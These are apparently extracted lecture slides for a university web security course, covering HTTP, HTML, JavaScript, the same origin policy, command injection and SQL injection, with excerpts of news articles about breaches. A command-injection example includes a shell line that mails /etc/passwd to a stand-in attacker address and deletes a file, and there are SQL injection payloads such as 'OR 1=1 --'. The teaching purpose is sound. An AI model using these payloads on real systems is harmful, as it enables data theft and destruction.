WEB SECURITY I

COURSE REVIEW

› Threat Model
  › Identify and assess potential threats, their motivations, and their capabilities

› Security Principles & policies
  › Recognize and reason about principles, policies, and enforcement in a given scenario
  › Identify a Trusting Computing Base and its requirements

› Software Security
  › Preconditions and postconditions for memory safety
  › Software vulnerabilities
  › Techniques for building secure systems
  › Buffer overflow attacks and defenses
World Wide Web

The WorldWideWeb (W3) is a wide-area hypertext information retrieval initiative aiming to give universal access to a large universe of documents.

Everything there is online about W3 is linked directly or indirectly to this document, including an executive summary of the project, Mailing lists, Policy, November's W3 news, Frequently Asked Questions.

What's out there?
Pointers to the world's online information, subjects, W3 servers, etc.

Help
on the browser you are using

Software Products
A list of W3 project components and their current state. (e.g. Line Mode, X11, Viola, NeXTStep, Servers, Tools, Mail robot, Library)

Technical
Details of protocols, formats, program internals etc

Bibliography
Paper documentation on W3 and references.

People
A list of some people involved in the project.

History
A summary of the history of the project.

How can I help?
If you would like to support the web.

Getting code
Getting the code by anonymous FTP, etc.
WEB SECURITY I

WEB DEVELOPMENT IS EASY! IT’S ALL TEXT!
WEB SECURITY I

HYPERTEXT TRANSPORT PROTOCOL (HTTP)

HTTP Request
GET / HTTP/1.0

HTTP Response
HTTP/1.0 200 OK
<HTML> ... </HTML>
**HTTP Request**

GET / HTTP/1.1  
host: www.ucsc.edu

**HTTP Response**

HTTP/1.1 301 Moved Permanently  
Date: Mon, 22 Jan 2018 22:52:54 GMT  
Server: Apache  
X-Frame-Options: SAMEORIGIN  
Location: https://www.ucsc.edu/
HTTP OVER TELNET

$ telnet www.ucsc.edu 80
Trying 128.114.109.5...
Connected to wcms-ucsc.aws-wcms.ucsc.edu.
Escape character is '^]'.
GET / HTTP/1.1
host: www.ucsc.edu

HTTP/1.1 301 Moved Permanently
Date: Mon, 22 Jan 2018 22:52:54 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Location: https://www.ucsc.edu/
Content-Length: 330
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
title>301 Moved Permanently</title>
</head><body>
h1>Moved Permanently</h1>
<p>The document has moved <a href="https://www.ucsc.edu/">here</a>.</p>
<br/>
<address>Apache Server at <a href="mailto:webtools@ucsc.edu">www.ucsc.edu</a> Port 80</address>
</body></html>
Connection closed by foreign host.
WEB SECURITY

UNIFORM RESOURCE LOCATORS (URLS)

- Global identifiers of network-retrievable resources

http://safebank.com:81/account?id=10#statement

Protocol  Hostname  Port  Path  Query  Fragment
HTTP REQUEST

HTTP REQUEST:
GET /account.html HTTP/1.1
Host: www.safebank.com

HTTP RESPONSE:
HTTP/1.0 200 OK
<HTML> ... </HTML>
WEB SECURITY I

HTTP REQUEST

Method | Path | Version
--- | --- | ---
GET | /index.html | HTTP/1.1

Headers

Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Chrome/21.0.1180.75 (Macintosh; Intel Mac OS X 10_7_4)
Host: www.safebank.com
Referer: http://www.google.com?q=dingbats

(Not data for GET)
HTTP RESPONSE

HTTP REQUEST:
GET /account.html HTTP/1.1
Host: www.safebank.com

HTTP RESPONSE:
HTTP/1.0 200 OK
<HTML> ... </HTML>
HTTP Response

```
HTTP/1.0 200 OK
Date: Tue, 23 Jan 2018 17:20:42 GMT
Server: Microsoft-Internet-Information-Server/1.2
Connection: keep-alive
Content-Type: text/html
Last-Modified: Thu, 9 Aug 2002 17:39:05 GMT
Set-Cookie: session=44ebc991
Content-Length: 753

<HTML>
Web content formatted using html
...
</HTML>
```
WEB SECURITY I

Hypertext Markup Language (HTML)

- A language for creating structured, interconnected documents
- Easy to embed media objects, create forms

index.html

```html
<html>
  <body>
    <div>
      foo
      <a href="http://google.com">Go to Google!</a>
    </div>
    <form>
      <input type="text" />
      <input type="radio" />
      <input type="checkbox" />
    </form>
  </body>
</html>
```
Cascading Style Sheets (CSS)

- Language that describes how to present a document
- Separates the content of a document from its formatting

```css
index.css

p.serif {
  font-family: "Times New Roman", Times, serif;
}
p.sansserif {
  font-family: Arial, Helvetica, sans-serif;
}
```
WEB SECURITY I

JAVASCRIPT

- A scripting language for manipulating web pages
- High-level, dynamically typed, interpreted language

```html
<script>
function myFunction()
{
    document.getElementById("motd").innerHTML = "Would you like to play a nice game of chess?";
}
</script>
```

- Powerful and flexible – possible to write sophisticated applications that run entirely in the browser
- Today's JS engines are very efficient!

  - [https://bellard.org/jslinux/](https://bellard.org/jslinux/)
WEB SECURITY I

PAGE RENDERING

- HTML → HTML Parser
- CSS → CSS Parser
- Javascript → JS Engine
- DOM
  - modifications to the DOM
  - Painter → bitmap
Platform-independent model for representing and interacting with HTML components in a document

**HTML**

```html
<html>
  <body>
    <div>
      foo
    </div>
    <form>
      <input type="text" />
      <input type="radio" />
      <input type="checkbox" />
    </form>
  </body>
</html>
```

**DOM Tree**

```
|-> Document
  |-> Element (<html>)
    |-> Element (<body>)
      |-> Element (<div>)
        |-> text node
      |-> Form
        |-> Text-box
          |-> Radio Button
            |-> Check Box
```
WHAT CAN JAVASCRIPT DO TO A WEB PAGE?

- **Almost anything**: basically full access to modify the DOM
  - If an attacker gets your browser to load their script into an otherwise safe page, bad things can happen...

- **Javascript can:**
  - Change HTML content, images, style
  - Hide (or unhide) elements
  - Change the cursor
  - Read or modify cookies
    ```javascript
    var x = document.cookie;
    document.cookie = 
      "username=Alice Smith; expires=Tue,23 Dec 2018 00:00:00 UTC; path=/";
    ```
WEB SECURITY I

FRAMES

- Embed a page within a page

  <iframe src="http://foo.com/bar"></iframe>

- Good for:
  - Modularity
    - Client-side aggregation, servers are unaware
  - Delegation
    - Frame can only draw within its own rectangle
  - Isolation
    - Outer page cannot change contents of inner page (only sizing and placement)
    - Inner page cannot change contents of outer page
THINKING ABOUT WEB SECURITY

Confidentiality
Integrity
Availability

Policies?
Principles?
Threats?
Assumptions?
WEB SECURITY GOALS

- **Confidentiality**
  - Websites should not be able to learn confidential information from our computers or other web sites
  - Websites should not be able to spy on us or our online activities

- **Integrity**
  - Web sites should not be able to tamper with integrity of our computers or our information on other web sites

- **Availability**
  - Third parties should not be able to keep us from accessing our web resources
WEB SECURITY RISK #1

- A malicious site might trash the files or programs on our computer
  - Example:
    - Browsing to SketchyWebsiteFromALinkIShouldntHaveClickedOn.com should not infect our computers with malware, read or write files on our computer, etc.
  
  - Defenses:
    - Sandboxing Javascript
    - Privilege separation
    - Or just avoid bugs in browser code...
WEB SECURITY RISK #2

A malicious site might be able to spy on, tamper with, or corrupt our interactions with other websites.

Example:

Browsing to evil.com should not let evil.com spy on our Gmail or buy limited-edition Pez dispensers with our Amazon account.

Defenses:

The same origin policy

An ad-hoc policy enforced in the browser

Details to come :)
WEB SECURITY RISK #3

- Data stored on a web server might be viewed, deleted, or modified by unauthorized third parties

- Example:
  - Our safebank.com account details can be viewed by a malicious third party if they compromise a query URL when connected anonymously.
  - Our safebank.com account details can be viewed by an otherwise authorized third party if they accidentally enter special characters into a form

- Defenses:
  - Server-side security
SAME ORIGIN POLICY

- Each site in the browser is **isolated** from all others
SAME ORIGIN POLICY

- Multiple pages from the same site are **NOT** isolated

[Image of same origin policy concept]
WHAT'S AN ORIGIN?

- Granularity of protection for same origin policy ~ principal
- Origin = protocol + hostname + port
  
  ![Protocol](http://safebank.com:81/accounts)

  ![Hostname](http://safebank.com:81/accounts)

  ![Port](http://safebank.com:81/accounts)

- If strings match, it is considered the same origin
- Otherwise they have different origins
- Even if they are *logically* the same: e.g., [www.safebank.com](http://www.safebank.com) and [safebank.com](http://safebank.com)
WEB SECURITY I

SAME ORIGIN POLICY

- One origin should not be able to access the resources of another
- Javascript in one page cannot read or modify pages from different origins
- The contents of an iframe have the origin of the URL from which the iframe is served, not the loading website
- Unfortunately... SOP depends on the browser implementing it correctly, i.e. with no bugs / vulnerabilities
THE SAME ORIGIN POLICY (AND ITS EXCEPTIONS)

- Origin of a page is derived from the URL it was loaded from

http://en.wikipedia.org

http://upload.wikimedia.org

But images loaded via <src> don’t count!
THE SAME ORIGIN POLICY (AND ITS EXCEPTIONS)

- Javascript runs with the origin of the page that loaded it.


- http://www.google-analytics.com

Neither does Javascript!
## THE SAME ORIGIN POLICY : ASSESSMENT

<table>
<thead>
<tr>
<th>Originating document</th>
<th>Accessed document</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong><a href="http://wikipedia.org/">http://wikipedia.org/</a></strong></td>
<td><strong><a href="https://wikipedia.org/">https://wikipedia.org/</a></strong></td>
</tr>
</tbody>
</table>
WEB SECURITY I

THE SAME ORIGIN POLICY: WEAKNESSES

- Does not prevent tracking users via embedded <script> or <src> objects
- Pages can pass sensitive information to embedded <iframe> via URL
- Ambiguous specification, doesn’t cover all corner cases (e.g., file:, data:)
- Too restrictive – can’t communicate among subdomains etc, can’t create legitimate mash-ups
- Approaches for weakening SOP: CORS, Websockets, JSONP
WEB SECURITY I

SERVER SIDE THREATS
WEB SECURITY I

COMMAND INJECTION

- Say a user fills in web form to query a local phone book
- Javascript generates a regular expression from the form data
- Server is accessed with a URL like:
  - http://phonebook.com/search?regex=<pattern>
- Example: http://phonebook.com/search?regex=Alice%20*Smith*
- Searches for all “Alice” with family names including “Smith” ... Returns “Alice Smith” “Alice Smithson” “Alice Poncenby-Smith”, etc.
WEB SECURITY I

COMMAND INJECTION

Suppose the regex eventually finds it’s way to this function:

```c
void find(char *regex){
    char cmd[512];
    snprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}
```

And the query was:

```plaintext
http://phonebook.com/search?regex=foo%20x;%20mail%20-s%20hacker@evil.com%20</etc/passwd;%20rm phonebook.txt
```

It’s as if the user running the web server typed this:

```bash
$ grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt
```
WEB SECURITY I

COMMAND INJECTION DEFENSES

› Poor: Input sanitization
  
  › Look for “bad things” in the input and neutralize them
  
  › Tricky to get right and brittle!
  
  › Goes against “failsafe defaults” principle:
    
    › Input is considered okay unless a bad thing is found
  
› Better: **Constrain the API**
  
  › Keep it simple + defensive programming

  http://phonebook.com/search?first=Alice&last=Smith
  
  void find(char *first, char *last);
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>

https://cwe.mitre.org
## WEB SECURITY I

<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>

https://cwe.mitre.org
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command (&quot;SQL Injection&quot;)</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command (&quot;OS Command Injection&quot;)</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input (&quot;Classic Buffer Overflow&quot;)</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation (&quot;Cross-site Scripting&quot;)</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory (&quot;Path Traversal&quot;)</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
Anonymous speaks: the inside story of the HBGary hack

By Peter Bright | Last updated a day ago

The hbgaryfederal.com CMS was susceptible to a kind of attack called SQL injection. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web frontend to the CMS.

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group’s actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary’s servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned

From the looks of it, however, one out
suspects an **SQL injection**, in which
the Web site. Markovich also ques-
ot noticed the hack for six months, a

**UC Berkeley computers hacked, 160,000 at risk**

May 8, 2009 1:53 PM PDT

by Michele Meyers

*This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.*

Hackers broke into the University of California at Berkeley’s health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it’s still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waggener, UCB’s chief technology officer, said in a press conference Friday afternoon.
Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.

Update, April 29, 11:28 a.m. ET: In a post to one of its blogs, Microsoft says this attack was not the fault of a flaw in IIS: "...our investigation has shown that there are no new or unknown vulnerabilities being exploited. The attacks are in no way related to Microsoft Security Advisory (951306). The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application's database. To protect against SQL injection attacks the
How Modern Web Applications Work

Browser

Web Server

Database Server

/search?first=Alice

SELECT first, last, number FROM phonebook
WHERE first = "Alice"

Alice Smith  555 123 4567
Alice Wonder 555 890 1234
Alice Cooper 555 567 8901

<HTML> ... </HTML>
WEB SECURITY I

HOW (MANY) MODERN WEB APPLICATIONS WORK

Linux Apache MySQL PHP
Suppose the web server runs the following PHP:

```php
$user= $_POST['user'];
$sql = "SELECT AcctNum FROM Customer
    WHERE Balance > 1000000 AND
    Username='$user';
$result = $db->executeQuery($sql);
```

- Query returns the user’s account number if they are a “valued” customer.
- Web server will send value of $sql variable to database server to get account numbers from a database.

http://safebank.com/account.php?user=alice

SELECT AcctNum FROM Customer
    WHERE Balance > 1000000 AND
    Username='alice'
WEB SECURITY I

SQL INJECTION ATTACKS

- account.php?user=alice'%'20OR%201=1

  WHERE Balance > 1000000 AND Username='alice' OR 1=1

- Operator precedence in SQL turns this into:

  WHERE Balance > 1000000 AND (Username='alice' OR 1=1')

- Since 1=1 is always true, this is effectively:

  SELECT AcctNum FROM Customer WHERE Balance > 1000000

- account.php?user=alice'%'20OR%201=1%20--

  WHERE Balance > 1000000 AND Username='alice' OR 1=1 --'

  SELECT AcctNum FROM Customer WHERE Balance > 1000000

  Syntax error!

  SQL comment
WEB SECURITY I

NEXT TIME

- Web Security II
  - More on SQL Injection
  - Cookies
  - Cross Site Request Forgery
  - Cross Site Scripting
- Lab 2 Preview